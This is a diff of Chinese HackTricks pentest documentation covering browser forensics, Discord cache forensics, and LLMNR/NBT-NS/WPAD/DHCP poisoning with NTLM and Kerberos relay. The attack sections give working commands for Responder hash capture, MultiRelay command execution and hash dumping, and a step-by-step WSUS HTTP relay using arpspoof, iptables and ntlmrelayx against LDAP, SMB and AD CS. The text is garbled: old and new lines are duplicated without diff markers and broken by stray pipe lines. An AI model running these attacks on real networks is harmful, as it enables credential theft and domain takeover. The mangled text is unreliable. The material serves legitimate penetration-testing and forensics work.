[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) 工具允许检查缓存,需要缓存数据提取文件夹位置。缓存的元数据包括文件名、目录、访问计数、URL 来源和指示缓存创建、访问、修改和过期时间的时间戳。
|
||||
使用 [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) 工具可以检查缓存,需提供提取的缓存数据文件夹位置。缓存元数据包括文件名、目录、访问计数、URL 来源,以及表示缓存创建、访问、修改和过期时间的时间戳。
|
||||
|
||||
### Cookies Management
|
||||
|
||||
可以使用 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) 探索 cookies,元数据包括名称、URL、访问计数和各种时间相关的详细信息。持久性 cookies 存储在 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` 中,会话 cookies 存储在内存中。
|
||||
可以使用 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) 浏览 cookies,元数据包括名称、URL、访问计数和各种时间相关细节。持久性 cookie 存储在 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`,会话 cookie 则驻留在内存中。
|
||||
|
||||
### Download Details
|
||||
|
||||
下载元数据可以通过 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 访问,特定容器中保存 URL、文件类型和下载位置等数据。物理文件可以在 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` 下找到。
|
||||
下载元数据可通过 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 访问,特定容器包含诸如 URL、文件类型和下载位置等数据。物理文件可在 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` 下找到。
|
||||
|
||||
### Browsing History
|
||||
|
||||
要查看浏览历史,可以使用 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html),需要提取的历史文件位置和 Internet Explorer 的配置。这里的元数据包括修改和访问时间,以及访问计数。历史文件位于 `%userprofile%\Appdata\Local\Microsoft\Windows\History`。
|
||||
要查看浏览历史,可使用 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html),需要已提取的 history 文件位置并为 Internet Explorer 配置。此处的元数据包括修改和访问时间以及访问计数。History 文件位于 `%userprofile%\Appdata\Local\Microsoft\Windows\History`。
|
||||
|
||||
### Typed URLs
|
||||
|
||||
输入的 URL 及其使用时间存储在注册表中的 `NTUSER.DAT` 下的 `Software\Microsoft\InternetExplorer\TypedURLs` 和 `Software\Microsoft\InternetExplorer\TypedURLsTime`,跟踪用户输入的最后 50 个 URL 及其最后输入时间。
|
||||
Typed URLs 及其使用时间存储在注册表的 `NTUSER.DAT` 下:`Software\Microsoft\InternetExplorer\TypedURLs` 和 `Software\Microsoft\InternetExplorer\TypedURLsTime`,用于追踪用户最后输入的 50 个 URL 及其最后输入时间。
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge 将用户数据存储在 `%userprofile%\Appdata\Local\Packages` 中。各种数据类型的路径如下:
|
||||
Microsoft Edge 将用户数据存储在 `%userprofile%\Appdata\Local\Packages`。各类数据的路径如下:
|
||||
|
||||
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
@ -135,29 +141,29 @@ Microsoft Edge 将用户数据存储在 `%userprofile%\Appdata\Local\Packages`
|
||||
|
||||
Safari 数据存储在 `/Users/$User/Library/Safari`。关键文件包括:
|
||||
|
||||
- **History.db**: 包含 `history_visits` 和 `history_items` 表,存储 URL 和访问时间戳。使用 `sqlite3` 查询。
|
||||
- **History.db**: 包含 `history_visits` 和 `history_items` 表,含有 URLs 和访问时间戳。使用 `sqlite3` 查询。
|
||||
- **Downloads.plist**: 有关下载文件的信息。
|
||||
- **Bookmarks.plist**: 存储书签的 URL。
|
||||
- **Bookmarks.plist**: 存储书签 URL。
|
||||
- **TopSites.plist**: 最常访问的网站。
|
||||
- **Extensions.plist**: Safari 浏览器扩展的列表。使用 `plutil` 或 `pluginkit` 检索。
|
||||
- **UserNotificationPermissions.plist**: 允许推送通知的域。使用 `plutil` 进行解析。
|
||||
- **LastSession.plist**: 上一会话的标签。使用 `plutil` 进行解析。
|
||||
- **Browser’s built-in anti-phishing**: 使用 `defaults read com.apple.Safari WarnAboutFraudulentWebsites` 检查。响应为 1 表示该功能已启用。
|
||||
- **Extensions.plist**: Safari 浏览器扩展列表。使用 `plutil` 或 `pluginkit` 获取。
|
||||
- **UserNotificationPermissions.plist**: 被允许推送通知的域名。使用 `plutil` 解析。
|
||||
- **LastSession.plist**: 上次会话的标签页。使用 `plutil` 解析。
|
||||
- **Browser’s built-in anti-phishing**: 通过 `defaults read com.apple.Safari WarnAboutFraudulentWebsites` 检查。返回 1 表示该功能已启用。
|
||||
|
||||
## Opera
|
||||
|
||||
Opera 的数据位于 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`,并与 Chrome 的历史和下载格式相同。
|
||||
Opera 的数据位于 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`,其 history 和 downloads 的格式与 Chrome 相同。
|
||||
|
||||
- **Browser’s built-in anti-phishing**: 通过检查 Preferences 文件中的 `fraud_protection_enabled` 是否设置为 `true` 来验证,使用 `grep`。
|
||||
- **Browser’s built-in anti-phishing**: 通过检查 Preferences 文件中 `fraud_protection_enabled` 是否为 `true`(使用 `grep`)来验证。
|
||||
|
||||
这些路径和命令对于访问和理解不同网络浏览器存储的浏览数据至关重要。
|
||||
这些路径和命令对于访问和理解不同 web 浏览器存储的浏览数据非常重要。
|
||||
|
||||
## References
|
||||
|
||||
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
|
||||
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
||||
- 书:OS X Incident Response: Scripting and Analysis 作者 Jaron Bradley 第123页
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,89 @@
|
||||
# Discord 缓存取证 (Chromium Simple Cache)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
本页概述如何对 Discord Desktop 的缓存遗留物进行初步分析,以恢复被外发的文件、webhook 端点和活动时间线。Discord Desktop 是基于 Electron/Chromium 的应用,磁盘上使用 Chromium Simple Cache。
|
||||
|
||||
## Where to look (Windows/macOS/Linux)
|
||||
|
||||
- Windows: %AppData%\discord\Cache\Cache_Data
|
||||
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
|
||||
- Linux: ~/.config/discord/Cache/Cache_Data
|
||||
|
||||
Cache_Data 中的关键磁盘结构:
|
||||
- index: Simple Cache index database
|
||||
- data_#: Binary cache block files that can contain multiple cached objects
|
||||
- f_######: Individual cached entries stored as standalone files (often larger bodies)
|
||||
|
||||
注意:在 Discord 中删除消息/频道/服务器并不会清除本地缓存。缓存项通常会保留,其文件时间戳与用户活动相符,可用于时间线重建。
|
||||
|
||||
## What can be recovered
|
||||
|
||||
- 通过 cdn.discordapp.com/media.discordapp.net 获取的被外发附件和缩略图
|
||||
- 图片、GIF、视频(例如 .jpg, .png, .gif, .webp, .mp4, .webm)
|
||||
- Webhook URL(https://discord.com/api/webhooks/…)
|
||||
- Discord API 调用(https://discord.com/api/vX/…)
|
||||
- 有助于关联 beaconing/exfil 活动并对媒体进行哈希以进行情报匹配
|
||||
|
||||
## Quick triage (manual)
|
||||
|
||||
- 在缓存中搜寻高价值痕迹:
|
||||
- Webhook 端点:
|
||||
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
|
||||
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
|
||||
- 附件/CDN URL:
|
||||
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
|
||||
- Discord API 调用:
|
||||
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
|
||||
- 按修改时间排序缓存条目以构建快速时间线(mtime 反映对象进入缓存的时间):
|
||||
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
|
||||
|
||||
## Parsing f_* entries (HTTP body + headers)
|
||||
|
||||
以 f_ 开头的文件包含 HTTP 响应头,随后是 body。头部块通常以 \r\n\r\n 结尾。有用的响应头包括:
|
||||
- Content-Type: 用于推断媒体类型
|
||||
- Content-Location or X-Original-URL: 原始远程 URL,以便预览/关联
|
||||
- Content-Encoding: 可能是 gzip/deflate/br (Brotli)
|
||||
|
||||
可以通过将头部与主体分离并根据 Content-Encoding 进行可选解压来提取媒体。当缺少 Content-Type 时,基于 magic-byte 的嗅探很有用。
|
||||
|
||||
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
|
||||
|
||||
- Repo: https://github.com/jwdfir/discord_cache_parser
|
||||
- Function: 递归扫描 Discord 的缓存文件夹,查找 webhook/API/附件 URL,解析 f_* 主体,可选地 carve 出媒体,并输出带有 SHA‑256 哈希的 HTML + CSV 时间线报告。
|
||||
|
||||
Example CLI usage:
|
||||
```bash
|
||||
# Acquire cache (copy directory for offline parsing), then run:
|
||||
python3 discord_forensic_suite_cli \
|
||||
--cache "%AppData%\discord\Cache\Cache_Data" \
|
||||
--outdir C:\IR\discord-cache \
|
||||
--output discord_cache_report \
|
||||
--format both \
|
||||
--timeline \
|
||||
--extra \
|
||||
--carve \
|
||||
--verbose
|
||||
```
|
||||
Key options:
|
||||
- --cache: 指向 Cache_Data 的路径
|
||||
- --format html|csv|both
|
||||
- --timeline: 按修改时间 (mtime) 生成有序的 CSV 时间线
|
||||
- --extra: 也会扫描相邻的 Code Cache 和 GPUCache
|
||||
- --carve: 从靠近 regex 命中的原始字节中提取媒体(images/video)
|
||||
- Output: HTML report、CSV report、CSV timeline,以及包含已 carve/提取文件的媒体文件夹
|
||||
|
||||
## Analyst tips
|
||||
|
||||
- 将 f_* 和 data_* 文件的修改时间 (mtime) 与用户/攻击者的活动时间窗口关联,以重建时间线。
|
||||
- 对恢复的媒体进行哈希(SHA-256),并与已知恶意或 exfil 数据集进行比对。
|
||||
- 提取出的 webhook URLs 可以用于检测是否存活或是否已被轮换;考虑将其加入阻断列表并添加到 retro-hunting 代理中。
|
||||
- 即使在服务器端“wiping”之后,Cache 仍会保留。如果可能获取,应收集整个 Cache 目录及相关的相邻缓存(Code Cache、GPUCache)。
|
||||
|
||||
## References
|
||||
|
||||
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
|
||||
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
|
||||
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -6,72 +6,72 @@
|
||||
|
||||
### 本地主机解析协议
|
||||
|
||||
- **LLMNR, NBT-NS 和 mDNS**:
|
||||
- 微软和其他操作系统在 DNS 失败时使用 LLMNR 和 NBT-NS 进行本地名称解析。类似地,苹果和 Linux 系统使用 mDNS。
|
||||
- 由于这些协议在 UDP 上的未认证广播特性,它们容易受到拦截和欺骗。
|
||||
- [Responder](https://github.com/lgandx/Responder) 可用于通过向查询这些协议的主机发送伪造响应来冒充服务。
|
||||
- 有关使用 Responder 进行服务冒充的更多信息,请参见 [这里](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。
|
||||
- **LLMNR, NBT-NS, and mDNS**:
|
||||
- Microsoft 和其他操作系统在 DNS 失败时使用 LLMNR 和 NBT-NS 进行本地名称解析。类似地,Apple 和 Linux 系统使用 mDNS。
|
||||
- 由于这些协议基于 UDP 的未经认证的广播特性,它们容易被拦截和伪造。
|
||||
- [Responder](https://github.com/lgandx/Responder) 可以通过向请求这些协议的主机发送伪造响应来模拟服务。
|
||||
- 关于使用 Responder 进行服务模拟的更多信息可在 [here](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 找到。
|
||||
|
||||
### Web 代理自动发现协议 (WPAD)
|
||||
### Web Proxy Auto-Discovery Protocol (WPAD)
|
||||
|
||||
- WPAD 允许浏览器自动发现代理设置。
|
||||
- 通过 DHCP、DNS 或在 DNS 失败时回退到 LLMNR 和 NBT-NS 来促进发现。
|
||||
- Responder 可以自动化 WPAD 攻击,将客户端引导到恶意 WPAD 服务器。
|
||||
- 发现过程通过 DHCP、DNS 实现,如果 DNS 失败则回退到 LLMNR 和 NBT-NS。
|
||||
- Responder 可以自动化 WPAD 攻击,将客户端指向恶意的 WPAD 服务器。
|
||||
|
||||
### Responder 用于协议中毒
|
||||
### 使用 Responder 进行协议投毒
|
||||
|
||||
- **Responder** 是一个用于中毒 LLMNR、NBT-NS 和 mDNS 查询的工具,根据查询类型选择性响应,主要针对 SMB 服务。
|
||||
- 它在 Kali Linux 中预装,可在 `/etc/responder/Responder.conf` 中配置。
|
||||
- Responder 在屏幕上显示捕获的哈希并将其保存在 `/usr/share/responder/logs` 目录中。
|
||||
- 它支持 IPv4 和 IPv6。
|
||||
- Windows 版本的 Responder 可在 [这里](https://github.com/lgandx/Responder-Windows) 获取。
|
||||
- **Responder** 是一个用于投毒 LLMNR、NBT-NS 和 mDNS 查询的工具,根据查询类型有选择地响应,主要针对 SMB 服务。
|
||||
- 它在 Kali Linux 中预装,可通过 `/etc/responder/Responder.conf` 配置。
|
||||
- Responder 会在屏幕上显示捕获到的哈希,并将其保存到 `/usr/share/responder/logs` 目录。
|
||||
- 支持 IPv4 和 IPv6。
|
||||
- Responder 的 Windows 版本可在 [here](https://github.com/lgandx/Responder-Windows) 获取。
|
||||
|
||||
#### 运行 Responder
|
||||
|
||||
- 使用默认设置运行 Responder:`responder -I <Interface>`
|
||||
- 进行更激进的探测(可能有副作用):`responder -I <Interface> -P -r -v`
|
||||
- 捕获 NTLMv1 挑战/响应以便于破解的技术:`responder -I <Interface> --lm --disable-ess`
|
||||
- 可以通过以下命令激活 WPAD 冒充:`responder -I <Interface> --wpad`
|
||||
- NetBIOS 请求可以解析为攻击者的 IP,并可以设置身份验证代理:`responder.py -I <interface> -Pv`
|
||||
- 使用默认设置运行 Responder: `responder -I <Interface>`
|
||||
- 对于更积极的探测(可能有副作用): `responder -I <Interface> -P -r -v`
|
||||
- 捕获 NTLMv1 挑战/响应以便更容易破解的技术: `responder -I <Interface> --lm --disable-ess`
|
||||
- 可通过以下命令启用 WPAD 模拟: `responder -I <Interface> --wpad`
|
||||
- 可以将 NetBIOS 请求解析到攻击者的 IP,并设置认证代理: `responder.py -I <interface> -Pv`
|
||||
|
||||
### 使用 Responder 进行 DHCP 中毒
|
||||
### 使用 Responder 进行 DHCP 投毒
|
||||
|
||||
- 伪造 DHCP 响应可以永久中毒受害者的路由信息,提供比 ARP 中毒更隐蔽的替代方案。
|
||||
- 这需要对目标网络配置的精确了解。
|
||||
- 运行攻击:`./Responder.py -I eth0 -Pdv`
|
||||
- 这种方法可以有效捕获 NTLMv1/2 哈希,但需要小心处理以避免网络中断。
|
||||
- 伪造 DHCP 响应可以永久污染受害者的路由信息,相较于 ARP 投毒,这是一种更隐蔽的替代方法。
|
||||
- 这需要对目标网络配置有精确的了解。
|
||||
- 运行攻击: `./Responder.py -I eth0 -Pdv`
|
||||
- 该方法可以有效捕获 NTLMv1/2 哈希,但需要小心操作以避免网络中断。
|
||||
|
||||
### 使用 Responder 捕获凭据
|
||||
|
||||
- Responder 将使用上述协议冒充服务,当用户尝试对伪造的服务进行身份验证时捕获凭据(通常是 NTLMv2 挑战/响应)。
|
||||
- 可以尝试降级到 NetNTLMv1 或禁用 ESS 以便于凭据破解。
|
||||
- Responder 会使用上述协议模拟服务,当用户尝试针对被伪造的服务进行身份验证时捕获凭据(通常为 NTLMv2 挑战/响应)。
|
||||
- 可以尝试降级到 NetNTLMv1 或禁用 ESS 以便更容易破解凭据。
|
||||
|
||||
重要的是要注意,使用这些技术应合法和道德,确保获得适当授权,避免干扰或未经授权的访问。
|
||||
重要提示:使用这些技术必须在合法且合乎道德的前提下进行,确保获得适当授权,并避免造成干扰或未经授权的访问。
|
||||
|
||||
## Inveigh
|
||||
|
||||
Inveigh 是一个针对 Windows 系统的渗透测试人员和红队成员设计的工具。它提供类似于 Responder 的功能,执行欺骗和中间人攻击。该工具已从 PowerShell 脚本演变为 C# 二进制文件,主要版本为 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 和 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)。详细参数和说明可以在 [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) 中找到。
|
||||
Inveigh 是为渗透测试人员和红队成员设计的工具,针对 Windows 系统。它提供与 Responder 类似的功能,执行伪造和中间人攻击。该工具已经从 PowerShell 脚本演变为 C# 二进制版本,主要版本包括 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 和 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)。详细参数和使用说明可在 [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) 中找到。
|
||||
|
||||
Inveigh 可以通过 PowerShell 操作:
|
||||
Inveigh 可以通过 PowerShell 运行:
|
||||
```bash
|
||||
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||||
```
|
||||
或作为 C# 二进制文件执行:
|
||||
或者作为 C# 二进制执行:
|
||||
```bash
|
||||
Inveigh.exe
|
||||
```
|
||||
### NTLM Relay Attack
|
||||
|
||||
此攻击利用 SMB 认证会话访问目标机器,如果成功则授予系统 shell。关键前提条件包括:
|
||||
该攻击利用 SMB 身份验证会话访问目标机器,若成功可授予 system shell。主要先决条件包括:
|
||||
|
||||
- 认证用户必须在中继主机上具有本地管理员访问权限。
|
||||
- SMB 签名应禁用。
|
||||
- 认证用户必须在被中继的主机上具有 Local Admin access。
|
||||
- SMB signing 应被禁用。
|
||||
|
||||
#### 445 端口转发和隧道
|
||||
#### 445 Port Forwarding and Tunneling
|
||||
|
||||
在直接网络引入不可行的情况下,需要转发和隧道 445 端口上的流量。像 [**PortBender**](https://github.com/praetorian-inc/PortBender) 这样的工具有助于将 445 端口流量重定向到另一个端口,这在可以进行驱动程序加载的本地管理员访问时至关重要。
|
||||
在无法直接引入到目标网络的情形下,需要对 445 端口的流量进行转发和隧道化。像 [**PortBender**](https://github.com/praetorian-inc/PortBender) 这样的工具有助于将 445 端口流量重定向到另一个端口,这在可以通过 Local Admin access 进行 driver loading 时至关重要。
|
||||
|
||||
PortBender 在 Cobalt Strike 中的设置和操作:
|
||||
在 Cobalt Strike 中设置并操作 PortBender:
|
||||
```bash
|
||||
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
||||
|
||||
@ -87,17 +87,17 @@ beacon> jobkill 0
|
||||
beacon> rportfwd stop 8445
|
||||
beacon> socks stop
|
||||
```
|
||||
### 其他 NTLM 中继攻击工具
|
||||
### 用于 NTLM Relay Attack 的其他工具
|
||||
|
||||
- **Metasploit**: 配置代理、本地和远程主机详细信息。
|
||||
- **smbrelayx**: 用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。
|
||||
- **MultiRelay**: Responder 套件中的一个工具,用于中继特定用户或所有用户,执行命令或转储哈希。
|
||||
- **Metasploit**: 与 proxies 以及本地和远程主机详细信息一起配置。
|
||||
- **smbrelayx**: 一个用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。
|
||||
- **MultiRelay**: 来自 Responder suite 的一个工具,用于中继特定用户或所有用户、执行命令或转储哈希。
|
||||
|
||||
每个工具都可以配置为通过 SOCKS 代理操作,如果需要,即使在间接网络访问的情况下也能进行攻击。
|
||||
每个工具都可以在必要时配置为通过 SOCKS proxy 操作,使得即使在网络访问间接的情况下也能发动攻击。
|
||||
|
||||
### MultiRelay 操作
|
||||
|
||||
MultiRelay 从 _**/usr/share/responder/tools**_ 目录执行,针对特定 IP 或用户。
|
||||
MultiRelay 在 _**/usr/share/responder/tools**_ 目录下执行,针对特定 IP 或用户。
|
||||
```bash
|
||||
python MultiRelay.py -t <IP target> -u ALL # Relay all users
|
||||
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
|
||||
@ -105,50 +105,112 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
||||
|
||||
# Proxychains for routing traffic
|
||||
```
|
||||
这些工具和技术形成了一套全面的工具,用于在各种网络环境中进行 NTLM 中继攻击。
|
||||
这些工具和技术构成了一套在各种网络环境中实施 NTLM Relay 攻击的全面手段。
|
||||
|
||||
### 滥用 WSUS HTTP (8530) 实施 NTLM Relay 到 LDAP/SMB/AD CS (ESC8)
|
||||
|
||||
WSUS 客户端使用 NTLM 通过 HTTP (8530) 或 HTTPS (8531) 对其更新服务器进行认证。当启用 HTTP 时,本地段上的周期性客户端检查可以被强制或拦截,并使用 ntlmrelayx 中继到 LDAP/LDAPS/SMB 或 AD CS HTTP 端点 (ESC8),无需破解任何哈希。这会混入正常的更新流量,并且经常产生机器账户认证 (HOST$)。
|
||||
|
||||
要注意的点
|
||||
- GPO/registry 配置位于 HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate 和 ...\WindowsUpdate\AU:
|
||||
- WUServer (例如: http://wsus.domain.local:8530)
|
||||
- WUStatusServer (上报 URL)
|
||||
- UseWUServer (1 = 使用 WSUS;0 = 使用 Microsoft Update)
|
||||
- DetectionFrequencyEnabled 和 DetectionFrequency (小时)
|
||||
- 客户端通过 HTTP 使用的 WSUS SOAP 端点:
|
||||
- /ClientWebService/client.asmx (approvals)
|
||||
- /ReportingWebService/reportingwebservice.asmx (status)
|
||||
- 默认端口:8530/tcp HTTP、8531/tcp HTTPS
|
||||
|
||||
侦察
|
||||
- Unauthenticated
|
||||
- 扫描监听:nmap -sSVC -Pn --open -p 8530,8531 -iL <hosts>
|
||||
- 通过 L2 MITM 抓取 HTTP WSUS 流量,并使用 wsusniff.py 记录活动客户端/端点(仅 HTTP,除非你能让客户端信任你的 TLS 证书)。
|
||||
- Authenticated
|
||||
- 使用 MANSPIDER + regpol 解析 SYSVOL GPO 中的 WSUS 键(wsuspider.sh wrapper 汇总 WUServer/WUStatusServer/UseWUServer)。
|
||||
- 从主机批量查询端点(NetExec)或本地查询:
|
||||
nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||||
|
||||
端到端 HTTP 中继步骤
|
||||
1) 为 MITM 定位(同一 L2),使客户端将 WSUS 服务器解析到你这里(ARP/DNS 欺骗、Bettercap、mitm6 等)。arpspoof 示例:
|
||||
arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
|
||||
|
||||
2) 将 8530 端口重定向到你的中继监听器(可选,方便):
|
||||
iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
|
||||
iptables -t nat -L PREROUTING --line-numbers
|
||||
|
||||
3) 使用 HTTP listener 启动 ntlmrelayx(需要 Impacket 对 HTTP listener 的支持;参见下列 PR):
|
||||
ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
|
||||
|
||||
其他常见目标:
|
||||
- 中继到 SMB(如果签名关闭)以便执行/转储:-t smb://<host>
|
||||
- 中继到 LDAPS 以进行目录更改(例如 RBCD):-t ldaps://<DC>
|
||||
- 中继到 AD CS web enrollment (ESC8) 以颁发证书,然后通过 Schannel/PKINIT 进行认证:
|
||||
ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
|
||||
有关更深入的 AD CS 滥用路径和工具,请参见 AD CS 页面:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
4) 触发客户端检查或等待计划。来自客户端:
|
||||
wuauclt.exe /detectnow
|
||||
或使用 Windows Update UI(Check for updates)。
|
||||
|
||||
5) 使用认证的 SOCKS 会话(如果使用 -socks)或直接使用中继结果进行权限后利用(LDAP 更改、SMB 操作,或为后续认证颁发的 AD CS 证书)。
|
||||
|
||||
HTTPS 限制 (8531)
|
||||
- 对通过 HTTPS 的 WSUS 进行被动拦截在客户端不信任你的证书时无效。没有受信任的证书或其他 TLS 绕过,从 WSUS HTTPS 流量中无法收集/中继 NTLM 握手。
|
||||
|
||||
备注
|
||||
- WSUS 已宣布弃用,但仍被广泛部署;HTTP (8530) 在许多环境中仍然常见。
|
||||
- 有用的辅助工具:wsusniff.py(观察 HTTP WSUS 检查),wsuspider.sh(从 GPO 枚举 WUServer/WUStatusServer),NetExec reg-query(批量查询)。
|
||||
- Impacket 在 PR #2034 中恢复了 ntlmrelayx 的 HTTP listener 支持(最初在 PR #913 中添加)。
|
||||
|
||||
### 强制 NTLM 登录
|
||||
|
||||
在 Windows 中,您**可能能够强制某些特权账户对任意机器进行身份验证**。请阅读以下页面以了解如何:
|
||||
在 Windows 中,你可能能够强制一些特权账户对任意主机进行认证。阅读以下页面以了解方法:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
## Kerberos 中继攻击
|
||||
## Kerberos Relay attack
|
||||
|
||||
**Kerberos 中继攻击**从一个服务窃取 **AP-REQ 票证**,并将其重新用于共享 **相同计算机账户密钥** 的第二个服务(因为两个 SPN 位于同一 `$` 机器账户上)。即使 SPN 的 **服务类别不同**(例如 `CIFS/` → `LDAP/`),这也有效,因为解密票证的 *密钥* 是机器的 NT 哈希,而不是 SPN 字符串本身,SPN 字符串不是签名的一部分。
|
||||
A Kerberos relay attack 窃取一个 AP-REQ ticket,并将其在对第二个服务上重用,前提是两者共享相同的 computer-account key(因为两个 SPN 都在相同的 `$` 机器账户上)。即使 SPN 的 service class 不同(例如 `CIFS/` → `LDAP/`),这也可以工作,因为解密票据的“key”是机器的 NT 哈希,而不是 SPN 字符串本身,并且 SPN 字符串不是签名的一部分。
|
||||
|
||||
与 NTLM 中继不同,跳转仅限于 *同一主机*,但是,如果您针对允许您写入 LDAP 的协议,您可以链入 **基于资源的受限委派 (RBCD)** 或 **AD CS 注册**,并在一次操作中获取 **NT AUTHORITY\SYSTEM**。
|
||||
与 NTLM relay 不同,中继的跳数被限制在同一主机,但如果你针对允许写入 LDAP 的协议,你可以链接到 Resource-Based Constrained Delegation (RBCD) 或 AD CS enrollment,并在一次操作中获得 **NT AUTHORITY\SYSTEM**。
|
||||
|
||||
有关此攻击的详细信息,请查看:
|
||||
有关该攻击的详细信息,请参见:
|
||||
|
||||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||||
|
||||
- 1. **Kerberos 基础知识**
|
||||
- 1. Kerberos basics
|
||||
|
||||
| 令牌 | 目的 | 中继相关性 |
|
||||
| Token | Purpose | Relay relevance |
|
||||
|-------|---------|-----------------|
|
||||
| **TGT / AS-REQ ↔ REP** | 向 KDC 证明用户 | 未触及 |
|
||||
| **服务票证 / TGS-REQ ↔ REP** | 绑定到一个 **SPN**;使用 SPN 拥有者的密钥加密 | 如果 SPN 共享账户则可互换 |
|
||||
| **AP-REQ** | 客户端将 `TGS` 发送到服务 | **我们窃取和重放的内容** |
|
||||
| **TGT / AS-REQ ↔ REP** | 向 KDC 证明用户 | 无变化 |
|
||||
| **Service ticket / TGS-REQ ↔ REP** | 绑定到单个 **SPN**;用 SPN 所有者的密钥加密 | 如果 SPN 共享账户则可互换 |
|
||||
| **AP-REQ** | 客户端将 `TGS` 发给服务 | **我们窃取并重放的对象** |
|
||||
|
||||
* 票证使用 **拥有 SPN 的账户的密码派生密钥** 加密。
|
||||
* AP-REQ 内的 **Authenticator** 有一个 5 分钟的时间戳;在该窗口内重放有效,直到服务缓存看到重复。
|
||||
* Windows 很少检查票证中的 SPN 字符串是否与您访问的服务匹配,因此 `CIFS/HOST` 的票证通常可以在 `LDAP/HOST` 上正常解密。
|
||||
* 票据使用拥有 SPN 的账户的 **基于密码派生的密钥** 加密。
|
||||
* AP-REQ 内的 **Authenticator** 含有 5 分钟的时间戳;在该窗口内重放有效,直到服务缓存检测到重复为止。
|
||||
* Windows 很少检查票据中的 SPN 字符串是否与所访问的服务匹配,因此针对 `CIFS/HOST` 的票据通常可以在 `LDAP/HOST` 上成功解密。
|
||||
|
||||
- 2. **中继 Kerberos 必须满足的条件**
|
||||
- 2. 要能够中继 Kerberos 必须满足的条件
|
||||
|
||||
1. **共享密钥:** 源和目标 SPN 属于同一计算机账户(Windows 服务器上的默认设置)。
|
||||
